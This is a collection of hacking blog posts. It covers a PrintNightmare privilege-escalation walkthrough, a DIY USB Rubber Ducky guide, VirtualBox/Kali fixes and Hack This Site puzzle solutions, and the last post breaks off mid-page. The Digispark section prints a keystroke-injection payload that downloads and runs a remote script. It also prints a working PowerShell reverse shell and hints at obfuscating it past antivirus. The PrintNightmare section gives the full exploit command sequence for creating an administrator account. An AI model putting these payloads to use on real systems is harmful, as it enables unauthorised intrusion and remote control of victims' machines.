Print Nightmare Privilege Escalation

Hello world, welcome to Haxez. In this post, I’m going to be demonstrating how to perform the Print Nightmare privilege escalation exploit. I will be using Evil-WinRM and the CVE-2021–1675.ps1 script by Caleb Stewart on GitHub. I’ve just completed the retired easy Hack The Box machine Driver and was blown away by this vulnerability. It’s easy to see why it is such a serious vulnerability.

What Is Print Nightmare?

The vulnerability exists because the Spooler service does not properly validate the driver when it is installed on a system. This can allow an attacker to install a malicious driver. Once installed, an attacker can exploit the vulnerability in the Print Spooler service to execute arbitrary code with system-level privileges.

This vulnerability can be exploited even if the user account used to install the driver has limited privileges. This is because the Print Spooler service runs with system-level privileges. This means that it has the ability to install and execute drivers with elevated privileges.

To mitigate the risk of exploitation, it is important to apply the appropriate patches and updates provided by Microsoft. Additionally, implementing other measures such as restricting access to the Spooler service and disabling it on systems.

The Scenario

A threat actor has obtained network access and a domain user’s credentials whether through phishing or some other social engineering attack. They can check the spooler service on the target host via the ‘impacket-rpcdump’ tool. If the following protocol is included in the output then it could be a good candidate for the exploit.

┌──(kali㉿kali)-[~/Driver/scripts]
└─$ impacket-rpcdump @10.129.95.238               
--snip--
Protocol: [MS-RPRN]: Print System Remote Protocol 
Provider: spoolsv.exe 
UUID    : 12345678-1234-ABCD-EF00-0123456789AB v1.0 
Bindings: 
          ncacn_ip_tcp:10.129.95.238[49410]
          ncalrpc:[LRPC-188127abacea381ad9]
--snip--
Print Nightmare rpcdump

The PrintNightmare Payload

In order to leverage this vulnerability to elevate privileges, we first need a payload to exploit it. Such an exploit is publically available on GitHub right now at the following URL https://github.com/calebstewart/CVE-2021-1675. We can use wget on our attack box to download this payload and store it in our scripts directory.

┌──(kali㉿kali)-[~/Driver/scripts]
└─$ wget https://raw.githubusercontent.com/calebstewart/CVE-2021-1675/main/CVE-2021-1675.ps1
--2023-03-17 18:04:25-- https://raw.githubusercontent.com/calebstewart/CVE-2021-1675/main/CVE-2021-1675.ps1
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 2606:50c0:8000::154, 2606:50c0:8001::154, 2606:50c0:8002::154, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|2606:50c0:8000::154|:443... failed: Network is unreachable.
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|2606:50c0:8001::154|:443... failed: Network is unreachable.
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|2606:50c0:8002::154|:443... failed: Network is unreachable.
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|2606:50c0:8003::154|:443... failed: Network is unreachable.
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 178561 (174K) [text/plain]
Saving to: ‘CVE-2021-1675.ps1.1’
CVE-2021-1675.ps1.1 100%[============================================================================>] 174.38K --.-KB/s in 0.03s
2023-03-17 18:04:26 (4.96 MB/s) - 'CVE-2021-1675.ps1.1' saved [178561/178561]
Print Nightmare wget payload

The Foothold

We will need user credentials in order to perform this exploit. These could be obtained through many nefarious methods but I will leave that to your imagination. Once we have the credentials, we can connect to the box via the Evil-WinRM tool. As you can see from the output below, I’m connecting to the target host with the user tony. Furthermore, the password for tony’s account is ‘liltony’. I’ve specified the target IP address with the ‘-i’ flag and I’ve also specified my script directory with the ‘-s’ flag.

┌──(kali㉿kali)-[~/Driver]
└─$ evil-winrm -i 10.129.95.238 -u 'tony' -p 'liltony' -s /home/kali/Driver/scripts/
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\tony\Documents> menu

,.   (   .      )               "            ,.   (   .      )       .   
  ("  (  )  )'     ,'             (     '    ("     )  )'     ,'   .  ,)  
.; )  ' (( (" )    ;(,      .     ;)  "  )"  .; )  ' (( (" )   );(,   )((   
_".,_,.__).,) (.._( ._),     )  , (._..( '.._"._, . '._)_(..,_(_".) _( _')  
\_   _____/__  _|__|  |    ((  (  /  \    /  \__| ____\______   \  /     \  
 |    __)_\  \/ /  |  |    ;_)_') \   \/\/   /  |/    \|       _/ /  \ /  \ 
 |        \\   /|  |  |__ /_____/  \        /|  |   |  \    |   \/    Y    \
/_______  / \_/ |__|____/           \__/\  / |__|___|  /____|_  /\____|__  /
        \/                               \/          \/       \/         \/
       By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers
[+] Dll-Loader 
[+] Donut-Loader 
[+] Invoke-Binary
[+] Bypass-4MSI
[+] services
[+] upload
[+] download
[+] menu
[+] exit
Evil WinRM

The Print Nightmare Exploit

We can now load the script that we saved to our script directory earlier by typing the script name (CVE-2021–1675.ps1). This will then load additional options into Evil-WinRM including the ability to ‘Invoke-Nightmare’. Typing ‘Invoke-Nightmare’ will then generate a new payload that will create a new user and add the user as a local administrator.

*Evil-WinRM* PS C:\Users\tony\Documents> CVE-2021-1675.ps1
*Evil-WinRM* PS C:\Users\tony\Documents> menu
,. ( . ) " ,. ( . ) .
(" ( ) )' ,' ( ' (" ) )' ,' . ,)
.; ) ' (( (" ) ;(, . ;) " )" .; ) ' (( (" ) );(, )((
_".,_,.__).,) (.._( ._), ) , (._..( '.._"._, . '._)_(..,_(_".) _( _')
\_ _____/__ _|__| | (( ( / \ / \__| ____\______ \ / \
| __)_\ \/ / | | ;_)_') \ \/\/ / |/ \| _/ / \ / \
| \\ /| | |__ /_____/ \ /| | | \ | \/ Y \
/_______ / \_/ |__|____/ \__/\ / |__|___| /____|_ /\____|__ /
\/ \/ \/ \/ \/
By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers
[+] Add-Win32Type
[+] Dll-Loader
[+] Donut-Loader
[+] field
[+] func
[+] get_nightmare_dll
[+] Invoke-Binary
[+] Invoke-Nightmare
[+] New-InMemoryModule
[+] psenum
[+] struct
[+] Bypass-4MSI
[+] services
[+] upload
[+] download
[+] menu
[+] exit
*Evil-WinRM* PS C:\Users\tony\Documents> Invoke-Nightmare
[+] using default new user: adm1n
[+] using default new password: P@ssw0rd
[+] created payload at C:\Users\tony\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_f66d9eed7e835e97\Amd64\mxdwdrv.dll"
[+] added user as local administrator
[+] deleting payload from C:\Users\tony\AppData\Local\Temp\nightmare.dll
Print Nightmare EvilWinRm

The Print Nightmare Consequence

We are now able to remote the target system with the new user. As you can see from the output below, the new user is a member of the local administrator’s group. From here we could install persistence or perform an LSA dump to dump credentials from memory. If a Domain Administrator has logged in to this system then it would be game over for the domain controller.

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i 10.129.95.238 -u 'adm1n' -p 'P@ssw0rd' -s /home/kali/Driver/scripts/
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\adm1n\Documents> net localgroup
net.exe : System error 1312 has occurred.
    + CategoryInfo          : NotSpecified: (System error 1312 has occurred.:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
A specified logon session does not exist. It may already have been terminated.

*Evil-WinRM* PS C:\Users\adm1n\Documents> whoami /groups
GROUP INFORMATION
-----------------
Group Name                                                    Type             SID          Attributes
============================================================= ================ 
Everyone                                                      Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account and member of Administrators group Well-known group S-1-5-114    Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators                                        Alias            S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner
BUILTIN\Users                                                 Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                                          Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users                              Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization                                Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account                                    Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication                              Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level                          Label            S-1-16-12288
*Evil-WinRM* PS C:\Users\adm1n\Documents>
Whoami

Conclusion

I know that this is an old vulnerability but I recently stumbled on a box that let me pull it off. I thought it was fascinating and was blown away by how simple it was. Granted, that’s down to the developers of the exploit and the developers of Evil-WinRM. However, if I can pull off an exploit like this then anybody can. All it takes is a few misconfigured permissions and the whole domain is at risk. Anyway, I wanted to write a post about it because I thought it was a cool exploit.

The Digispark The DIY USB Rubber Ducky

Hello World and welcome to haxez. In this post, I will be discussing the Digispark. With the right payload, the Digispark can hack any computer in 2 seconds. I realize that’s a bold claim to make and is definitely a clickbait title but it isn’t far from the truth. The Digispark, like the Hak5 USB Rubber Ducky, is a keyboard emulator that can inject keystrokes on the target computer at breakneck speeds. Therefore, anything a hacker can do on a keyboard, the Digispark can do too but arguably faster. So, If you’re having trouble getting hold of a Hak5 USB Rubber Ducky then this could be the device for you. For about £2 and a bit of time, you can build your own Rubber Ducky from a Digispark. I’ve written another article using a different board, feel free to check that one out here.

Arduino Integrated Development Environment

The first step in creating your very own DIY USB Rubber Ducky super hacking tool is to download the Arduino Integrated Development Environment. This can be downloaded from the following URL https://www.arduino.cc/en/software. Simply visit the URL, click the download link, double-click the downloaded file and then follow the installation wizard.

USB Rubber Ducky Arduino Integrated Development Environment
Arduino Integrated Development Environment

Configuring Arduino IDE

Once you have installed the Arduino IDE, you need to configure it so that it can write your payloads to the Digispark. In order to do this, first launch the Arduino IDE then head to File, then Preferences, then paste the following URL into the Additional Boards Manager URLs input box. This allows the Arduino IDE to work with third-party boards such as the Digispark.

http://digistump.com/package_digistump_index.json
Digispark Additional Boards Manager URLS
Digispark Additional Boards Manager URLS

Install Digispark AVR Boards

Next, you need to install the Digistump Digispark boards so that the Arduino IDE knows how to talk to your board. To do this, head to Tools, Board and click Boards Manager. Then from the drop-down menu select contributed and search for the Digistump AVR Boards. There should be an install button, click that and wait for the boards to finish installing.

Arduino Boards Manager
Arduino Boards Manager

Digispark Drivers

That should be everything you need. However, if Windows is having trouble recognizing your board then you may need to install the drivers manually. You can find these by performing a quick Google search for “Digispark Arduino Drivers”. This should take you to the following GitHub page which has a download link labeled Digistump.Drivers.zip. Download, extract and install these drivers.

https://github.com/digistump/DigistumpArduino/releases
Digispark Drivers
Digispark Drivers

Digispark USB Rubber Ducky Payloads

Now that you’re Arduino IDE is set up and the drivers are installed, it’s time to find some payloads. There are tons of payloads available on the internet that do various things. These payloads range from performing a fake Windows update while playing Never Gonna Give You Up by Rick Astley to launching a Fork Bomb on the target system. I hope it goes without saying that some of these payloads can be dangerous and you should exercise caution when playing with them. The following GitHub repository has some good payloads to practice with.

https://github.com/CedArctic/DigiSpark-Scripts
USB Rubber Ducky Digispark Payloads
Digispark Payloads

Reverse Shell Downloader Payload

The payload I’m going to be focusing on is the Powershell reverse shell payload. You can see from the script below that this is a fairly simple script. It starts by sending the Windows Key and R to the computer. This opens the Run dialog box. After a brief delay, it types out “powershell.exe” into the Run dialog box and then sends the Enter key. This spawns a new Powershell window. In the new Powershell Window, it types out a command to download another payload from a URL. After a brief delay, it then executes the payload.

// This script downloads and executes a powershell script efectively opening up a reverse shell in less than 3 seconds. 
// Credits to hak5 and samratashok (developer of the nishang framework).#include "DigiKeyboard.h"
void setup() {
}void loop() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("powershell.exe");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("Invoke-WebRequest -Uri 'https://haxez.org/payload.ps1' -OutFile 'payload.ps1'");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("./payload.ps1");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
for (;;) {
/*Stops the digispark from running the scipt again*/
}
}

USB Rubber Ducky Powershell Reverse Shell Payload

Please note that the following Powershell script will probably be caught by Windows Defender. However, with some tinkering like renaming variables and obfuscating the code, it may not be detected. I won’t be attempting to do that in this walkthrough. The following script is a reverse shell that will attempt to connect back to the IP address and port that you specify. This script will need to be uploaded to a server that you control and then the location of the script needs to be added to the downloader payload above.

#A simple and small reverse shell by samratashok's Nishang framework. Change the Host IP Address and Port according to your setup as described in the README file of the script. 
$sm=(New-Object Net.Sockets.TCPClient("192.168.0.23",4243)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}

Writing Payloads To Digispark

Once you have your payloads ready, it’s time to write the downloader payload to the Digispark. It’s important that you don’t plug in the Digispark first. First, paste your code into the Arduino IDE and then click the upload button. This will then spawn a terminal at the bottom of the application prompting you to plugin the device. You should now be able to plug in your Digispark. Once the terminal reads 100%, the payload will automatically execute. Probably best if you don’t try to use any payload that can potentially damage your computer.

USB Rubber Ducky Upload Payload To Digispark
Upload Payload To Digispark

Digispark USB Rubber Ducky Demonstration

With the payload written to the Digispark, it’s time to test it out. Ensure that you have uploaded the reverse shell payload to your web server and that the path has been amended in your download payload. Then set up a net cat listener or some other listener on your attack machine (the machine you want to connect back to) and plug the Digispark into the target machine. As mentioned previously, this will only likely work with Defender disabled unless you have modified your payload. However, please see the video below of a demonstration.

Kali Linux Virtual Machine Shared Folder

Hello world, welcome to haxez where today I want to talk about creating a Kali Linux shared folder for your Virtual Machine. They are a useful feature that allows you to share files between your base operating system and your Virtual Machine. While Virtual Machines do have a bidirectional clipboard that allows you to copy to and from each machine. A shared folder allows for easy access to resources such as wordlists and other large files. Furthermore, they can be particularly useful if you have limited disk space on your Virtual Machine.

Creating A Kali Shared Folder

In VirtualBox, this is a fairly simple process. First, you need to select the Virtual Machine that you want to add the shared folder to and click settings.

Creating A Kali Shared Folder
Creating A Shared Folder

Once the settings menu opens you need to navigate to the Shared Folders section in the left-hand column.

Adding A Shared Folder
Adding A Shared Folder

Next, click the blue folder icon with the green plus sign and that will pop up a window with a number of options.

Folder Options

The Folder Path option lets you select where on your base Operating System you want your folder to be. Folder Name allows you to give your folder a specific name when accessing it on your Virtual Machine. The Read-Only option prevents you from making changes to any of the files in the shared directory. Do not tick this if you want to be able to modify your folders. Auto-mount ensures that the folder is mounted on your Virtual Machine once it boots. You want to enable this option. Mount Point specifies where on the Virtual Machine you want it to mount. If you leave this empty then it should default to the /media directory.

Shared Folder Settings
Shared Folder Settings

Accessing Kali Shared Folder

With the settings saved, boot your Virtual Machine and login to the Desktop Environment. Then launch your file manager or file explorer. On the left-hand side, you should see a Devices section containing your File System and your Shared Folder. If not then it could be that you haven’t installed your Virtual Box guest additions.

File Manager
File Manager

Permissions Issues

If you can see the folder but aren’t able to access or create any files then it is likely due to user permissions. In order to resolve this issue, you need to add your user to the VirtualBox users group. This can be done by running the following command.

sudo adduser $USER vboxsf

You should now be able to access the shared folder. It is unlikely that you will need to reboot the machine but if the problem persists then reboot and try again.

Fixing VirtualBox Kali Linux Black Screen

Hello friends and welcome to haxez. So, you have run in to the VirtualBox Kali Linux Black Screen Bug? After all that effort spent downloading it and importing the appliance, you’re excited, you attempt to login in and… nothing. Just a black screen. How disappointing. Do you reinstall it? Give up? Or do you fix it and add that knowledge to your mind palace.

The Cause Of The Kali Linux Black Screen

The likely cause of this problem is due to the VirtualBox Guest Additions either not being installed or not being the correct version. Either way, we need to get them installed to rule this out as a problem.

Kali Linux Black Screen Kali Linux — Login
Kali Linux — Login

Grab A Shell

Start the Virtual Machine and wait for it to get to the login prompt. Before logging in press your right CTRL key (VirtualBox host key) and your F2 key. If you ever need to do this natively on Linux then it will be left CTRL, ALT and F2. This sends a signal to the operating system to spawn a virtual text only terminal or a TTY. To get back to the Desktop environment you need to press left CTRL and F8.

Kali Linux Black Screen Kali Linux — TTY Shell
Kali Linux — TTY Shell

Install The Guest Additions

Now login to the Operating System using your credentials. If it is a Kali Virtual Machine downloaded from their website then the credentials are likely either username: kali, password: kali or username: root, password: toor. Once you have logged in you need to instruct VirtualBox to mount the guest additions CD. From the menu, Devices > Insert Guest Additions CD Image.

VirtualBox — Insert Guest Additions CD
VirtualBox — Insert Guest Additions CD

Kali Linux Black Screen Mount The cdrom

In order to access the content of the Guest Additions CD, you first need to mount it. You could create a mountpoint manually or you could run the following command. As you can see, the command is mounting the device ‘cdrom’ (denoted by the ‘/dev/’ directory) to ‘/media/cdrom’ directory.

sudo mount /dev/cdrom /media/cdrom

Now, if you list out the contents of the ‘/media/cdrom’ directory you should see a file called VBoxLinuxAdditions.run.

Mounting The CD
Mounting The CD

Install The Guest Additions

In order to install the Guest Additions you need to run that VBoxLinuxAdditions.run file. To do this simply run the following command.

sudo /media/cdrom/VBoxLinuxAdditions.run

You may be prompted to press enter but wait for the process to complete and then reboot your system with the reboot command.

sudo reboot
Installing The Guest Additions
Installing The Guest Additions

Login In

Once the system has been rebooted, try logging in with your username and password. Hopefully you should now be presented with your desktop and are able to go about your hacking activities.

Kali Linux Desktop
Kali Linux Desktop

Other Suggestions For Kali Linux Black Screen

If for some reason that didn’t work then there are some other things you could try. One of the other common reasons for this error is due to the display settings. Although changing this has never resolved the problem for me, I thought it was worth a mention. In VirtualBox, head to the settings and then the display settings. Try toggling 3D acceleration and changing the amount of video memory. I’ve heard this has resolved the issue for other people but again I’ve never been able to resolve the problem this way.

Display Settings
Display Settings

Homemade USB Rubber Ducky

Hello world, welcome to haxez. The rubber ducky, first conceptualized and popularised by Darren Kitchen from hak5 is a USB keyboard emulator. It gives the wielder of this device unlimited power, at least on computer systems. The emulator injects keystrokes into the victim’s machine with unprecedented speed and precision. The right combination of keystrokes will do great but unspeakable things.

The USB rubber ducky https://shop.hak5.org/products/usb-rubber-ducky-deluxe currently sells for $49.99 which is a reasonable price and I would highly recommend purchasing one to support Hak5. However, if for some reason you are unable to get hold of one then pick yourself up a CJMCU virtual keyboard. You will also need a micro SD card, a micro SD card reader, a rubber duck and a coffee.

Installing the Arduino Integrated Development Environment

Once you have your coffee and your CJMCU you will need to download and install the Arduino integrated development environment. This can be download from the Microsoft Store if you are using Windows or you can get it from their website if you are using linux. https://www.arduino.cc/en/guide/linux

Rubber Ducky Arduino KDE

Next you will need to get Duckduino from Seytonic’s github repository.

https://github.com/Seytonic/Duckduino-microSD/blob/master/Duckduino-microSD/Duckduino-microSD.ino

Uploading The Rubber Ducky .ino Script

The next thing to do is insert your CJMCU into a USB port and launch the Arduino IDE. Before going any further, you may need to check that the right board and COM port is selected. Both of these can be configured from the tools menu. Since the CJMCU board is a clone of the Leonardo board that’s the board I selected from the boards menu.

Next you will need to copy the contents of the Duckduino-microSD.ino file into the Arduino sketch. Then use the upload button to push the new sketch to the CJMCU board. This is the functionality that allows the CJMCU to impersonate a keyboard. This is what allows it to act like the USB Rubber Ducky we all know and love. After a bit of time the upload will complete, and the device is almost ready to go. The only thing missing is a payload.

Loading the Payload

There is a huge repository of ducky payloads on the git hub repository https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads. Find the payload you want, I suggest starting with something easy like the Open Webpage, Any Platform payload. Copy the contents of the script to a text file and make the modifications to tailor it to your liking (may I suggest https://www.youtube.com/watch?v=oHg5SJYRHA0). Save it as script.txt or whatever you have set the String DEFAULT_FILE_NAME = “script.txt”; value to in the ino file uploaded to the CJMCU. Finally, copy the script.txt file over to your microsd using your microsd card reader. Your knock off USB Rubber Ducky is now ready to prank unsuspecting victims.

While the USB Rubber Ducky is primarily associated with hacking and penetration testing, it is a powerful automation tool that can be used for a wide range of tedious tasks. For instance, imagine if you needed to install software or make configuration changes on multiple air gapped machines. You could write a script that automates this process for you.

Hack This Site: Extended Basic – Mission 6

Hello World and welcome to haxez, today we’re going to be looking at Hack This Site Extended Basic 6. Solving this challenge requires some basic knowledge of PHP or any other language for that matter. It’s a simple challenge that shows how poorly coded web application authentication mechanisms can be bypassed.

The Extended Basic 6 Challenge

The image below shows the PHP that makes up the authentication mechanism. Furthermore, This is the code that we need to exploit in order to bypass the authentication mechanism. The introduction text at the top explains that the sysadmin is a noob and that the script is located at http://moo.com/moo.php. Therefore, to solve this challenge we need to append the correct syntax to the end of the URL and submit it to the submission form.

Extended Basic 6 The Code
The Code

The PHP Code

The snippet below is the exact code we’re going to be exploiting. Furthermore, there is no backend database to worry about, just some simple PHP logic that we can leverage for our own nefarious purposes.

<?php
$user = $_GET['user'];
$pass = $_GET['pass'];
if (isAuthed($user,$pass))
{
$passed=TRUE;
}
if ($passed==TRUE)
{
echo 'you win';
}
?>
<form action="me.php" method="get">
<input type="text" name="user" />
<input type="password" name="pass" />
</form>
<?php
function isAuthed($a,$b)
{
return FALSE;
}
?>

Breaking Down The Code

We’re going to break the code down line by line in order to solve this challenge. Once we understand what the code is doing, we will be able to use its own logic against it and bypass authentication.

First, the code starts with it a tag telling us what language it is.

<?php

Next, we have two variables being set from user input. The $user and $pass variables are populated by the values of ‘user’ and ‘pass’. This is more evident later on when looking at the HTML form.

$user = $_GET['user'];
$pass = $_GET['pass'];

This is where the logic beings. When the user submits their username and password, the data is passed to an if statement. If the values of the variables ‘$user’ and ‘$pass’ are correct then the variable ‘$passed’ is set to true.

if (isAuthed($user,$pass))
{
$passed=TRUE;
}

After that, the application uses another if statement to check whether the value of the variable ‘$passed’ is set to true. If ‘$passed’ is set to true then the application echos out “you win”. This also ends the first section of PHP.

if ($passed==TRUE)
{
echo 'you win';
}
?>

Now, we move on to the HTML. This is the login form that the user will send when loading the page in their browser. It is fairly standard and just performs a get request to me.php. The contents of the get request or the values of the input for ‘user’ and ‘password’. The user input type is text and the password input type is password.

<form action="me.php" method="get">
<input type="text" name="user" />
<input type="password" name="pass" />
</form>

Finally, we have the last section of PHP. This is the function that checks to see whether the username and password are correct. This function compares the values of variables ‘$user’ and ‘$pass’ with the variables ‘$a’ and ‘$b’. If they match then it is the first if statement is executed.

<?php
function isAuthed($a,$b)
{
return FALSE;
}
?>

The Extended Basic 6 Solution

With that rather long explanation out the way, we can now move on to solving the challenge. It’s pretty simple if you know how to PHP site URL’s work. We know that in order for us to authenticate, the variable ‘$passed’ needs to be set to ‘TRUE’

PHP allows you to specify variables and their contents in the URL. For example, a dynamic PHP website using a CMS like WordPress may have a URL like HTTP://site.com/index.php?page=1. The question mark indicates that what follows is a variable and in this case, the variable is ‘$page’. Furthermore, we can specify that we want the value of the page variable to be 1.

With this in mind, we can take the provided URL of HTTP://moo.com/moo.php and append a question mark followed by the variable passed equals TRUE, as seen below.

http://moo.com/moo.php?passed=TRUE

Submitting this to the input box will solve the challenge.

Hack This Site: Extended Basic – Mission 5

Hello world, welcome to HaXeZ where today we will be looking at the Hack This Site Extended Basic mission 5. This mission is another programming mission that requires you to review the contents of a PHP file and then subsequently a shell script that is used to edit the PHP file. There is an error in the shell script that prevents it from doing what it’s supposed to do. We need to fix it.

The Extended Basic 5 Code

The image below shows the code that Sam has written. The introduction message advises that Sam created a function called safeeval to run commands. However, on the page, he neglected to use safeeval and use eval() instead. Furthermore, it explains that he wrote a shell script to go through the PHP file and replace all values of eval() with safeeval. Unfortunately, there is an error in the shell script that prevents the script from working.

Extended Basic 5 The Code

The PHP Code

<?php
include ('safe.inc.php');
if ($access=="allowed") {
eval($_GET['cmd']);
if (!empty($_GET['cmd2'])) {
eval($_GET['cmd2']);
}
}
?>

The Shell Script

#!/bin/sh
rm OK
sed -E "s/eval/safeeval/" <exec.php >tmp && touch OK
if [ -f OK ]; then
rm exec.php && mv tmp exec.php
fi

Hack This Site Extbasic 5 Code Breakdown

We don’t need to break down the PHP code as that is the code we’re trying to amend with the shell script. So let’s break the shell script down line by line.

First, as with all shell scripts, we get a comment to explain that it is in fact a shell script. Nothing out of the ordinary here.

!/bin/sh

Next, we have the ‘rm’ command which on Linux means to remove something and after a bit of research, it appears that it is the same on FreeBSD too. So this line is saying remove ok.

rm OK

The next line is using the sed (stream editor) command which appears to be what is substituting eval for safeeval. It is then passing the exec.php file to the sed command using a less than sign. After that, it appears to be taking the results of the sed command and appending them to ‘tmp’ and creating a file.

sed -E "s/eval/safeeval/" <exec.php >tmp && touch OK

Next, we appear to have some logic that checks if the command executed ok, and if it did it moves on to the next line.

if [ -f OK ]; then

Finally, the script removes exec.php and moves tmp to exec.php.

rm exec.php && mv tmp exec.php

Hack This Site Extbasic 5 Solution

The final line is the end of the if statement so we don’t need to explain that any further. Upon closer inspection and reading the Wikipedia page for sed it appears substitutions with sed requires 2 characters. First, it explains that in some cases you need to start the argument with -E. This is true on MacOS which is a variant of free BSD. We know Sam is using free BSD so the -E at the start of his sed statement is correct. However, we also need the characters s and g. The s character tells sed to substitute one word for the other (eval with safeeval). The g character tells it to do it globally. In short, Sam needs a g at the end of his sed statement to replace all instances of eval with safeeval. The correct syntax should be as follows.

sed -E "s/eval/safeeval/g" <exec.php >tmp && touch OK

Without the g, the script only replaces one instance of eval. The script has multiple instances of eval so the script fails to complete its purpose. Fun challenge.

Hack This Site: Extended Basic – Mission 4

Hello world, welcome to haxez where today we will be looking at the Hack This Site Extended Basic mission 4. This mission is another programming mission that requires you to examine the source code of an application to determine its output. Again, please be advised that I’m terrible at programming so my explanation might be terrible.

The Extended Basic 4 Code

The image below shows the introduction message and explains that sometimes we may need to decipher a language. Furthermore, it explains that sometimes the language may not be on google or encrypted in some way.

Below that we can see there appears to be a user input of the numbers 6 and 7.

Extended Basic 4 Code
Extended Basic 4 Code

We then have a number of lines of code that appear to perform operations on the user-submitted values.

The Solution

As with Extended Basic 3, I’m going to attempt to break this down line by line and explain what is happening.

BEGIN F.ake

This appears to be the start of the program. I don’t think there is much more to it than that other than indicating the start of the program.

var int as in

What this appears to be doing is assigning whatever value the user has submitted to the variable var. The ‘in’ is the user input and var is the variable name. In this case, the value will be 6.

int var as in

This is similar to the line above and is assigning whatever the user submits to a variable called ‘int’. Again the ‘in’ part of the statement appears to be the user input prompt. In this case, the value will be 7.

out var int

Finally, the script is printing or echoing both the variables ‘var’ and ‘init’ to the screen meaning it should output 67.

Extended Basic – Mission 4 Conclusion

I can’t think of any other way to solve this or what any of the other parts of the code would be doing, other than what I have explained. I hope this has helped you solve the challenge. Feel free to check out parts 1 to 3 and drop by my youtube channel and subscribe.

Hack This Site: Extended Basic – Mission 3

Hello world and welcome back to haxez, thank you for surfing by. This post is a walkthrough of the Hack This Site Extended Basic Mission 3. The purpose of this challenge is to deduce the function of a bespoke programming language’s application. A basic understanding of programming and assigning variables is required for this challenge. However, I’m terrible at programming and was still able to solve the challenge.

The Extended Basic 3 Function

As mentioned above, the image below informs the user that the challenge creator has created a bespoke programming language. In order to solve the challenge, we need to walk through the application step by step and determine the output.

Extended Basic 3 Challenge

Therefore, I believe the best method of solving this challenge is to analyse each line individually and identify what it is doing.

The Solution

BEGIN notr.eal

Firstly, the application starts with ‘BEGIN notr.eal’. Granted, this appears fairly self-explanatory and denotes the start of the application.

CREATE int AS 2

Secondly, it appears as though the application is creating an integer with the value of 2. However, as with other programming languages, the position of ‘CREATE’ suggests it is more likely that the integer value of 2 is being assigned to the variable ‘CREATE’.

DESTROY int AS 0

Thirdly, the same can be said about the ‘DESTROY’ variable. This could easily be mistaken for a function of the program. However, since this function isn’t previously described in the program, I’m going to assume that an integer value of 0 is being added to the variable ‘DESTROY’.

ANS var AS Create + TO

Fourthly, it would appear that the value of the ‘create’ variable (currently 2) or ‘CREATE’ as previously written is being add to the ‘TO’ variable. I’m not too sure about this one but it resulted in the correct answer so my logic (however flawed) seems correct.

out TO

Finally, the value of the ‘TO’ variable is printed out to the screen. So in this instance the answer should be 2. If you submit that to the submission box then it should solve the challenge.

BEGIN notr.eal /* Starts the program
CREATE int AS 2 /* Adds the integer 2 to variable 'CREATE'
DESTROY int AS 0 /* Adds the integer 0 to variable 'DESTROY'
ANS var AS Create + TO /* Appears to take the value of variable 'CREATE' and adds to varable 'TO'
out TO /* Prints the value of 'TO'

Extended Basic Mission 3 — Conclusion

While my explanation might be incorrect, it resulted in the correct answer. Furthermore, I tried to solve the challenge in other ways but wasn’t able to. If we break the program down again and look at lines 2 and 3 we could infer that the program is simply creating an integer of 2 and then destroying it. If it destroys the integer then the value of the variable ‘TO’ would be 0 which is the wrong answer. I’ve also looked at whether ‘AS’ could be a variable but we end up with the same result of the value of the variable being destroyed and ending up with 0. There could be something else I’m missing and if you spot it then please let me know. Anyway this was a fun challenge, please check out my other posts in this series ExtBasic1 and ExtBasic2.

Hack This Site: Extended Basic – Mission 2

Hello world, welcome to haxez where we will be covering Hack This Site Extended Basic Mission 2. This challenge is fairly simple provided you have an understanding of application structures. It requires us to slightly modify the provided script in order to access the index.php page at the root of the web application. In order to do that we need to perform a directory traversal up two directories to grab the index.html page.

The Extended Basic 2 Function

As you can see from the screenshot below, we have some fairly basic PHP code that is attempting to get the contents of the filename specified by the value ‘filename‘. Furthermore, it specifies the type of extension for the filename which in this case is ‘.php‘. Underneath the code, we have a submission box where we need to submit the solution to the challenge.

Extended Basic 2 The Function
The Function

The Solution

